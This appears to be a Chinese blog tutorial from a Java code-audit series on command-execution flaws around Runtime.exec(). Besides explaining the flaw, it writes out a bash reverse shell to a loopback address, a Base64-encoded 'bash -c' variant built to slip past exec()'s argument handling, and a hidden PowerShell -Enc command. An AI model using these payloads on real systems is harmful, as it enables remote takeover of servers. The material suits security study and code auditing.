【Java代码审计 | 第十篇】命令执行漏洞成因、防范及审计思路

未经许可,不得转载。

在这里插入图片描述

命令执行漏洞是指攻击者能够通过应用程序执行任意系统命令,从而控制服务器或获取敏感信息。这种漏洞通常发生在应用程序直接调用系统命令且未对用户输入进行严格过滤的情况下。本文将分析 Java 中的命令执行漏洞,并提供防范措施。

Java 执行系统命令的函数

在 Java 中,常用的执行系统命令的函数包括:

1、Runtime.getRuntime().exec()

通过 Runtime 类的 exec() 方法执行系统命令。

// 使用 Runtime.exec() 执行命令
Runtime.getRuntime().exec("ping " + userInput);

注意,在 Java 中,尽管可以使用 Runtime.getRuntime().exec() 执行系统命令,但与 PHP 不同的是,Java 会将传入到该函数的参数视为一个完整的字符串,而不会受到 Shell 特殊符号(如 &、;、|)的影响,从而在一定程度上降低了命令注入的风险。

在涉及 Runtime.exec() 类型的远程代码执行(RCE)时,如果需要反弹 Shell,则必须进行特殊处理。直接执行以下命令无法成功反弹 Shell:

原始命令(Linux 环境):

bash -i >& /dev/tcp/127.0.0.1/12345 0>&1

这是因为 Java 直接将参数传递给 exec(),而不会经过 Shell 解析,因此必须对命令进行适当转换。可以使用 Base64 编码绕过限制,再通过 bash -c 进行解码和执行:

处理后的命令:

bash -c {
   
   echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{
   
   base64,-d}|{
   
   bash,-i}

对于 Windows 环境,PowerShell 反弹 Shell 也需要类似的处理。可以使用 -EncodedCommand 传递 Base64 编码后的命令:

处理后的 PowerShell 命令:

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwAuAGUAeABlAA==

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值